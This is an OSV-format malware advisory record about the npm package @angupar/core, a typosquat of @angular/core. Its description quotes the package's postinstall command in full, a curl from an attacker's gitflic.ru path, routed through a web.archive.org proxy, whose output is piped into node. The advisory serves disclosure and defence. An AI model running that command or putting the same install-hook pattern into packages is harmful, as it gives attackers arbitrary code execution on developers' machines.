{"id":"MAL-2026-17539","revision":"eebeed31bd374e2aaa404d18aae19fc0","records":[{"revision":"eebeed31bd374e2aaa404d18aae19fc0","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17539","aliases":[],"title":"Malicious code in @angupar/core (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84)\nPackage impersonates @angular/core (name @angupar/core, author field \"angular\", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.\n","state":0,"publishedAt":"2026-10-05T03:32:05+00:00","modifiedAt":"2026-10-05T04:15:04.3015252+00:00","affected":[{"ecosystem":"npm","name":"@angupar/core","ranges":[],"versions":["22.2.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@angupar/core/v/22.2.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17539","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17539","identifiers":["MAL-2026-17539"]},"retained":false,"historicalAffected":[]}],"coverage":[]}